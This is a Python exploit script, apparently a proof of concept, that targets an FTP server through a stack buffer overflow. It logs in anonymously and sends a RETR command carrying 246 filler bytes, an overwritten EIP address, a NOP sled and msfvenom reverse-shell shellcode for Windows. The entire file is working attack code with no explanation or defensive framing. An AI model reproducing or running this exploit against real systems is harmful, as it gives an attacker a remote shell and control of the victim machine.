import socket
import time

# Prompt the user for target IP and port
target_ip = input("Enter the target IP address: ")
target_port = int(input("Enter the target port: "))

# Shellcode generated with msfvenom (windows/shell_reverse_tcp)
buf = (
    b"\xbd\xcc\x95\x24\x8c\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9"
    b"\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xa6\x9b\xc6\x79\xca"
    b"\x4c\x84\x82\x32\x8d\xe9\x0b\xd7\xbc\x29\x6f\x9c\xef\x99"
    b"\xfb\xf0\x03\x51\xa9\xe0\x90\x17\x66\x07\x10\x9d\x50\x26"
    b"\xa1\x8e\xa1\x29\x21\xcd\xf5\x89\x18\x1e\x08\xc8\x5d\x43"
    b"\xe1\x98\x36\x0f\x54\x0c\x32\x45\x65\xa7\x08\x4b\xed\x54"
    b"\xd8\x6a\xdc\xcb\x52\x35\xfe\xea\xb7\x4d\xb7\xf4\xd4\x68"
    b"\x01\x8f\x2f\x06\x90\x59\x7e\xe7\x3f\xa4\x4e\x1a\x41\xe1"
    b"\x69\xc5\x34\x1b\x8a\x78\x4f\xd8\xf0\xa6\xda\xfa\x53\x2c"
    b"\x7c\x26\x65\xe1\x1b\xad\x69\x4e\x6f\xe9\x6d\x51\xbc\x82"
    b"\x8a\xda\x43\x44\x1b\x98\x67\x40\x47\x7a\x09\xd1\x2d\x2d"
    b"\x36\x01\x8e\x92\x92\x4a\x23\xc6\xae\x11\x2c\x2b\x83\xa9"
    b"\xac\x23\x94\xda\x9e\xec\x0e\x74\x93\x65\x89\x83\xd4\x5f"
    b"\x6d\x1b\x2b\x60\x8e\x32\xe8\x34\xde\x2c\xd9\x34\xb5\xac"
    b"\xe6\xe0\x1a\xfc\x48\x5b\xdb\xac\x28\x0b\xb3\xa6\xa6\x74"
    b"\xa3\xc9\x6c\x1d\x4e\x30\xe7\xe2\x27\x8a\x7f\x8a\x35\xea"
    b"\x6e\x17\xb3\x0c\xfa\xb7\x95\x87\x93\x2e\xbc\x53\x05\xae"
    b"\x6a\x1e\x05\x24\x99\xdf\xc8\xcd\xd4\xf3\xbd\x3d\xa3\xa9"
    b"\x68\x41\x19\xc5\xf7\xd0\xc6\x15\x71\xc9\x50\x42\xd6\x3f"
    b"\xa9\x06\xca\x66\x03\x34\x17\xfe\x6c\xfc\xcc\xc3\x73\xfd"
    b"\x81\x78\x50\xed\x5f\x80\xdc\x59\x30\xd7\x8a\x37\xf6\x81"
    b"\x7c\xe1\xa0\x7e\xd7\x65\x34\x4d\xe8\xf3\x39\x98\x9e\x1b"
    b"\x8b\x75\xe7\x24\x24\x12\xef\x5d\x58\x82\x10\xb4\xd8\xa2"
    b"\xf2\x1c\x15\x4b\xab\xf5\x94\x16\x4c\x20\xda\x2e\xcf\xc0"
    b"\xa3\xd4\xcf\xa1\xa6\x91\x57\x5a\xdb\x8a\x3d\x5c\x48\xaa"
    b"\x17"
)

# Create TCP socket and connect to target
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
except Exception as e:
    print(f"Cannot connect to {target_ip}:{target_port}: {e}")
    exit(1)

# Build payload
offset = b"A" * 246               # Filler to reach EIP
eip = b"\xd9\x2f\xe3\x74"         # Overwritten EIP address (jmp esp or similar)
nops = b"\x90" * 20               # NOP sled
payload = offset + eip + nops + buf

# Receive welcome message from the server
response = sock.recv(1024)
print(response.decode(errors='ignore'))

# Send USER command
sock.sendall(b"USER anonymous\r\n")
response = sock.recv(1024)
print(response.decode(errors='ignore'))
time.sleep(1)

# Send PASS command
sock.sendall(b"PASS anonymous\r\n")
response = sock.recv(1024)
print(response.decode(errors='ignore'))
time.sleep(1)

# Send RETR command with the malicious payload
sock.sendall(b"RETR " + payload + b"\r\n")
response = sock.recv(1024)
print(response.decode(errors='ignore'))
time.sleep(1)

# Close the socket
sock.close()